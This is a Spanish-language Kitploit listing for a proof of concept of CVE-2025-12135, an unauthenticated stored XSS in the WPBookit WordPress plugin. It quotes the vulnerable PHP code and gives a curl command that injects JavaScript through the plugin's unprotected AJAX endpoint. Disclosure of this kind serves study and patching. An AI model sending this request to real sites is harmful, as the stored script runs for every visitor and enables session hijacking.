Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-12135 — WPBookit <= 1.0.6 - Cross-Site Scripting Almacenado No Autenticado | Kitploit
Herramientas/GitHubGitHub/d0n601/cve-2025-12135
Análisis Estático de Código (SAST)Análisis de VulnerabilidadesAnálisis de CódigoExplotación de Aplicaciones WebAutenticaciónMala Configuración
GitHubd0n601/cve-2025-12135

CVE-2025-12135

WPBookit <= 1.0.6 - Cross-Site Scripting Almacenado No Autenticado

Ver Repositorio
hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

WPBookit <= 1.0.6 - Cross-Site Scripting Almacenado No Autenticado

El plugin WPBookit no valida los permisos de usuario ni sanea el código CSS/JS personalizado en su endpoint AJAX save_custome_code, lo que permite a atacantes no autenticados inyectar JavaScript arbitrario que se ejecuta en cada carga de página, provocando XSS almacenado y un posible secuestro de sesión.

TL;DR Exploits

root@kitploit:~
# Basic XSS injection
curl -X POST "http://localhost:1337/wp-admin/admin-ajax.php?action=wpb_ajax_post&route_name=save_custome_code" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "css_code=/* malicious */&js_code=alert('XSS');"

Detalles

La vulnerabilidad está en el método save_custome_code de la clase WPB_Setting_Controller. El plugin registra endpoints AJAX para usuarios no autenticados, lo que permite a cualquier visitante inyectar código CSS/JS arbitrario que se ejecuta en cada carga de página.

Código vulnerable de /core/admin/classes/controllers/class.wpb-setting-controller.php:16-25:

root@kitploit:~
public function save_custome_code(WP_REST_Request $request){
    $css_code= $request->get_param('css_code');
    $js_code= $request->get_param('js_code');
    update_option( 'wpb_custom_code_data', [  'css_code' => $css_code,  'js_code' => $js_code ]);
}

Ejecución de código de /core/shortcodes/class-wpbookit-shortcode-abstract.php:20-27:

root@kitploit:~
$wpb_custom_code= get_option( 'wpb_custom_code_data', [  'css_code' => '',  'js_code' => '' ]);

wp_add_inline_style( 'wpb-custom-code-css', stripslashes($wpb_custom_code['css_code']));
wp_add_inline_script( 'wpb-custom-code-js', stripslashes($wpb_custom_code['js_code']) );

Acceso no autenticado de /core/admin/classes/class.wpb-admin-routes-handler.php:15-16:

root@kitploit:~
add_action( "wp_ajax_wpb_ajax_post", [ $this, 'wpb_ajax_post' ] );
add_action( "wp_ajax_nopriv_wpb_ajax_post", [ $this, 'wpb_ajax_post' ] );

Configuración de rutas de /core/admin/classes/class.wpb-admin-routes.php:118-123:

root@kitploit:~
'save_custome_code' => [
    'method' => 'post',
    'action' => 'WPB_Setting_Controller@save_custome_code',
    'nonce' => 0,
    'module' => 'setting-controller'
],

Reproducción manual

  1. Identificar el objetivo con el plugin WPBookit instalado
  2. Inyectar JavaScript malicioso:
root@kitploit:~
curl -X POST "http://localhost:1337/wp-admin/admin-ajax.php?action=wpb_ajax_post&route_name=save_custome_code" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "css_code=/* malicious */&js_code=alert('XSS');"
  1. Verificar la inyección visitando cualquier página del sitio - se ejecutará la alerta
  2. Comprobar la persistencia - el código malicioso se almacena en la base de datos y se ejecuta en cada carga de página
Descargar herramienta